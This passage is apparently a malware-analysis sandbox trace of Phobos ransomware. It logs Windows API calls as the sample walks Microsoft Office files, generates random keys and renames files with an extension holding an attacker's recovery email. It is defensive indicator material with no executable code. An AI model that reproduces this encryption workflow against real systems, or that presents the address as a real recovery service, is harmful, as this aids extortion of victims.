office\\root\\office16\\1033\\skypefb_onlineg_col.hxc")) returned 0x220 [0154.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.886] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.887] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=215) returned 1 [0154.887] CloseHandle (hObject=0x254) returned 1 [0154.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt")) returned 0x220 [0154.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.887] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.888] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.888] CloseHandle (hObject=0x254) returned 1 [0154.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk")) returned 0x220 [0154.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.888] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.140] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0155.140] CloseHandle (hObject=0x254) returned 1 [0155.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk")) returned 0x220 [0155.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.141] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\vviewres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.158] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=549984) returned 1 [0155.158] CloseHandle (hObject=0x250) returned 1 [0155.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\vviewres.dll")) returned 0x220 [0155.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VVIEWRES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\vviewres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.160] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.163] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1826) returned 1 [0155.163] CloseHandle (hObject=0x250) returned 1 [0155.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd")) returned 0x220 [0155.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.167] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.173] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=207) returned 1 [0155.173] CloseHandle (hObject=0x254) returned 1 [0155.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt")) returned 0x220 [0155.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.174] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.176] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0155.176] CloseHandle (hObject=0x250) returned 1 [0155.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk")) returned 0x220 [0155.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.177] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.178] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0155.178] CloseHandle (hObject=0x250) returned 1 [0155.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk")) returned 0x220 [0155.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.178] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.180] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=661) returned 1 [0155.180] CloseHandle (hObject=0x250) returned 1 [0155.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc")) returned 0x220 [0155.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.184] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.189] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0155.189] CloseHandle (hObject=0x250) returned 1 [0155.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk")) returned 0x220 [0155.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.195] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.198] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=207) returned 1 [0155.198] CloseHandle (hObject=0x250) returned 1 [0155.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt")) returned 0x220 [0155.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.199] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.199] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0155.199] CloseHandle (hObject=0x250) returned 1 [0155.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk")) returned 0x220 [0155.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.200] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.204] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=55464) returned 1 [0155.204] CloseHandle (hObject=0x564) returned 1 [0155.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl")) returned 0x220 [0155.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.205] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wxpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.206] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18544) returned 1 [0155.206] CloseHandle (hObject=0x564) returned 1 [0155.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wxpr.dll")) returned 0x220 [0155.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\wxpr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wxpr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wxpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.210] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xllex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.211] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=33376) returned 1 [0155.211] CloseHandle (hObject=0x564) returned 1 [0155.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xllex.dll")) returned 0x220 [0155.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLLEX.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xllex.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.216] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.218] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6316032) returned 1 [0155.219] CloseHandle (hObject=0x564) returned 1 [0155.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu")) returned 0x220 [0155.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 